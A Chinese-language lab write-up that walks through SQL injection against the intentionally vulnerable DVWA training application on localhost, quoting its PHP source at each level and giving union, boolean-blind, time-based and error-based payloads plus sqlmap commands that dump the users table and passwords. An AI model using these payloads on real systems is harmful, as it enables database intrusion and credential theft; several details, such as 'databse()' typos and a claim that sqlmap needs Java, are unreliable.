dvwa之SQL注入
- sql注入
-
- 手工注入思路
- low
-
- 1.判斷注入類型
- 2.判斷字段數
- 3.确定顯示的字段順序
- 4.擷取目前資料庫
- 5.擷取資料庫中的表名
- 6.擷取表中的字段名
- 7.下載下傳資料
- medium
-
- 1.判斷注入類型
- 2.判斷字段數
- 3.确定顯示的字段順序
- 4.擷取目前資料庫
- 5.擷取資料庫中的表名
- 6.擷取表中的字段名
- 7.下載下傳資料
- high
- impossoble
- sql盲注
-
-
- 盲注的基本步驟
- 盲注的三種思路
- sqlmap盲注
- 手工盲注
-
- 基于布爾的盲注
-
- 1. 判斷是否存在注入,注入是字元型還是數字型
- 2.猜解目前資料庫名
- 3.猜解資料庫中的表名
- 4.猜解表中的字段名& 5.猜解資料
- 基于時間的盲注
- 基于報錯的盲注
-
- Xpath
- floor
- 使用sqlmap 掃描
-
- low
-
- 檢查是否存在注入點
- 擷取資料庫
- 擷取列名
- 擷取使用者資訊
- medium
-
- 用burpsuit抓包
- 檢查是否存在注入點
- 擷取資料庫名
- 擷取表名
- 擷取列名
- 擷取使用者資訊
- high
-
- 檢查是否存在注入點
- 擷取資料庫名
- 擷取表名
- 擷取列名
- 擷取使用者資訊
- Impossible
-
sql注入
手工注入思路
1.判斷是否存在注入,注入是字元型還是數字型
2.猜解SQL查詢語句中的字段數
3.确定顯示的字段順序
4.擷取目前資料庫
5.擷取資料庫中的表
6.擷取表中的字段名
7.下載下傳資料
low
我們先看一下源碼,沒有對查詢内容進行過濾
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
1.判斷注入類型
首先輸入
1' and '1'='2
然後輸入
1' and '1'='1
,出現id為1的查詢結果
在輸入
1' or '1'='1
,出現多個結果,證明存在字元型注入漏洞
2.判斷字段數
ORDER BY 1 表示 所select 的字段按第一個字段排序,當後面跟的數字超過字段數時,則顯示錯誤
當輸入order by 3時無反應,說明字段有兩個
3.确定顯示的字段順序
輸入
1′ union select 111,222 #
,查詢成功:
這裡union是聯合查詢 ,找到輸出111,222的地方
4.擷取目前資料庫
輸入
1' union select 111,database()#
,确定資料庫名為dvwa
5.擷取資料庫中的表名
輸入
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
6.擷取表中的字段名
查詢users表中的字段名
1' union select group_concat(column_name) from information_schema.columns where table_name='guestbook',group_concat(column_name) from information_schema.columns where table_name='users'#
7.下載下傳資料
1' or '1'='1' union select group_concat(user_id,first_name,last_name,user) ,group_concat(password) from users#
medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);//對特殊符号轉義
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
Medium級别的代碼利用mysql_real_escape_string函數對特殊符号
\x00,\n,\r,,’,”,\x1a進行轉義,同時前端頁面設定了下拉選擇表單,希望以此來控制使用者的輸入。
我們可以通過burpsuit抓包改參數
遇到字元轉義時可以用base64替代
1.判斷注入類型
将輸入的資料改為
1 or 1=1
,判斷為數字型注入
2.判斷字段數
1 order by 2#
,查詢成功
1 order by 3#
,查詢失敗
判斷資料庫有兩個
3.确定顯示的字段順序
4.擷取目前資料庫
5.擷取資料庫中的表名
6.擷取表中的字段名
這裡的單引号被轉義了,users用base64轉換為757365727
7.下載下傳資料
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
high
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";## 隻顯示一條結果
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
high級别的代碼對查詢結果加了
LIMIT 1
的限制條件,最多出現一條結果,我們可以将其注釋掉,注入過程與low相同
impossoble
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible級别的代碼采用了PDO技術,劃清了代碼與資料的界限,有效防禦SQL注入,同時隻有傳回的查詢結果數量為一時,才會成功輸出,這樣就有效預防了拖庫,Anti-CSRFtoken機制的加入了進一步提高了安全性。
sql盲注
盲注,與一般注入的差別在于,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示頁面上擷取執行結果,甚至連注入語句是否執行都無從得知,是以盲注的難度要比一般注入高。目前網絡上現存的SQL注入漏洞大多是SQL盲注。
盲注的基本步驟
1.判斷是否存在注入,注入是字元型還是數字型
2.猜解目前資料庫名
3.猜解資料庫中的表名
4.猜解表中的字段名
5.猜解資料
盲注的三種思路
-
對于基于布爾的盲注
可通過構造真or假判斷條件(資料庫各項資訊取值的大小比較,如:字段長度、版本數值、字段名、字段名各組成部分在不同位置對應的字元ASCII碼…),将構造的sql語句送出到伺服器,然後根據伺服器對不同的請求傳回不同的頁面結果(True、False);然後不斷調整判斷條件中的數值以逼近真實值,特别是需要關注響應從True<–>False發生變化的轉折點。
-
對于基于時間的盲注
通過構造真or假判斷條件的sql語句,且sql語句中根據需要聯合使用sleep()函數一同向伺服器發送請求,觀察伺服器響應結果是否會執行所設定時間的延遲響應,以此來判斷所構造條件的真or假(若執行sleep延遲,則表示目前設定的判斷條件為真);然後不斷調整判斷條件中的數值以逼近真實值,最終确定具體的數值大小or名稱拼寫。
-
對于基于報錯的盲注
搜尋檢視網上部分Blog,基本是在rand()函數作為group by的字段進行聯用的時候會違反Mysql的約定而報錯。rand()随機不确定性,使得group by會使用多次而報錯。
目前階段暫未對基于報錯類型的盲注深入了解過,若可能後續再作補充分析。
(這段話有點别扭。。。直接看下面例子吧
sqlmap盲注
加參數–level 5
手工盲注
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
基于布爾的盲注
1. 判斷是否存在注入,注入是字元型還是數字型
輸入
1'and '1'='1
,判斷條件正确
輸入
1' and '1'='2
,判斷條件錯誤
确定條件正确及錯誤的輸出結果
2.猜解目前資料庫名
我們首先來猜下資料庫名的長度
輸入
1' and length(database())=4#
确定長度為4
然後猜資料庫名字,可用二分法節省時間
輸入1’ and ascii(substr(databse(),0,1))=0 #,顯示存在,說明資料庫名的第1個字元的ascii值為0(空字元)
輸入1’ and ascii(substr(databse(),1,1))>97 #,顯示存在,說明資料庫名的第2個字元的ascii值大于97(小寫字母a的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<122 #,顯示存在,說明資料庫名的第2個字元的ascii值小于122(小寫字母z的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<109 #,顯示存在,說明資料庫名的第2個字元的ascii值小于109(小寫字母m的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<103 #,顯示存在,說明資料庫名的第2個字元的ascii值小于103(小寫字母g的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<100 #,顯示不存在,說明資料庫名的第2個字元的ascii值不小于100(小寫字母d的ascii值);
輸入1’ and ascii(substr(databse(),1,1))>100 #,顯示不存在,說明資料庫名的第2個字元的ascii值不大于100(小寫字母d的ascii值),是以資料庫名的第一個字元的ascii值為100,即小寫字母d。
3.猜解資料庫中的表名
首先猜解資料庫中表的數量:
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在
說明資料庫中共有兩個表。
接着挨個猜解表名:
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在
…
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在
說明第一個表名長度為9。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在
說明第一個表的名字的第一個字元為小寫字母g。
…
重複上述步驟,即可猜解出兩個表名(guestbook、users)。
4.猜解表中的字段名& 5.猜解資料
步驟同上,先猜資料數目,再猜值
基于時間的盲注
1.判斷是否存在注入,注入是字元型還是數字型
輸入1’ and sleep(5) #,感覺到明顯延遲;
輸入1 and sleep(5) #,沒有延遲;
說明存在字元型的基于時間的盲注。
2.猜解目前資料庫名
首先猜解資料名的長度:
1’ and if(length(database())=1,sleep(5),1) # 沒有延遲
1’ and if(length(database())=2,sleep(5),1) # 沒有延遲
1’ and if(length(database())=3,sleep(5),1) # 沒有延遲
1’ and if(length(database())=4,sleep(5),1) # 明顯延遲
說明資料庫名長度為4個字元。
接着采用二分法猜解資料庫名:
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲
…
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒有延遲
說明資料庫名的第一個字元為小寫字母d。
…
重複上述步驟,即可猜解出資料庫名。
接下來的過程不再贅述
基于報錯的盲注
Xpath
extractvalue(XML_document,XPath_string):從目标XML中傳回包含的查詢值的字元串,第一個參數為XML文檔對象的名稱,第二個參數為Xpath格式的字元串,即
/xx/xxx/xxx
payload:
1' and extractvalue(1,concat(0x7e,(version()),0x7e) --+
第二個參數格式與Xpath格式不比對,會将
concat(0x7e,(version()),0x7e
傳回
我們可以借此得到自己想要的資訊,如:
1' and extractvalue(1,concat(0x7e,(database()),0x7e) --+
floor
1' and (select count from group by concat(payload,floor(rand(0)*2)) --+
使用sqlmap 掃描
下載下傳 sqlmap,連結為
https://github.com/sqlmapproject/sqlmap
,sqlmap運作需有java環境
low
cmd執行指令
python2 sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3gj8vid12lbkpi79jk98bf8hc6" --batch
檢查是否存在注入點
根據回顯判斷注入點為ID,使用mysql資料庫
擷取資料庫
E:\web_security\sqlmap-master>python2 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit##" --cookie="security=low; PHPSESSID=3gj8vid12lbkpi79jk98bf8hc6" --current-db
擷取資料庫名為dvwa
擷取列名
E:\web_security\sqlmap-master>python2 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit##" --cookie="security=low; PHPSESSID=3gj8vid12lbkpi79jk98bf8hc6" --columns
擷取使用者資訊
E:\web_security\sqlmap-master>python2 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit##" --cookie="security=low; PHPSESSID=3gj8vid12lbkpi79jk98bf8hc6" --dump -T users
medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
根據源代碼發現使用了post方法,且前端輸入有限制
用burpsuit抓包
将抓到的流量包存到sqlmap的目錄下,命名為
search-test.txt
檢查是否存在注入點
E:\web_security\sqlmap-master>python2 sqlmap.py -r search-test.txt --batch
擷取資料庫名
python2 sqlmap.py -r search-test.txt -p id --current-db
擷取表名
E:\web_security\sqlmap-master>python2 sqlmap.py -r search-test.txt -p id --tables -D dvwa
擷取列名
E:\web_security\sqlmap-master>python2 sqlmap.py -r search-test.txt -p id --columns -D dvwa -T users
擷取使用者資訊
E:\web_security\sqlmap-master>python2 sqlmap.py -r search-test.txt -p id --dump -D dvwa -T users
high
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
進階對注入點和回顯不在一個界面,需要制定響應界面判斷真假。--second-order後門跟一個判斷頁面的URL位址。
檢查是否存在注入點
E:\web_security\sqlmap-master>python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data "id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=t2julhmvjkr1gamdokk9659drc" --banner
擷取資料庫名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data "id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=t2julhmvjkr1gamdokk9659drc" --current-db
擷取表名
E:\web_security\sqlmap-master>python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data "id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=t2julhmvjkr1gamdokk9659drc" --tables -D dvwa
擷取列名
E:\web_security\sqlmap-master>python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data "id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=t2julhmvjkr1gamdokk9659drc" --columns -D dvwa -T users
擷取使用者資訊
E:\web_security\sqlmap-master>python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data "id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=t2julhmvjkr1gamdokk9659drc" --dump -D dvwa -T users -C "user,password"
Impossible
Impossible級别的代碼采用了PDO技術,劃清了代碼與資料的界限,有效防禦SQL注入,Anti-CSRF token機制的加入了進一步提高了安全性。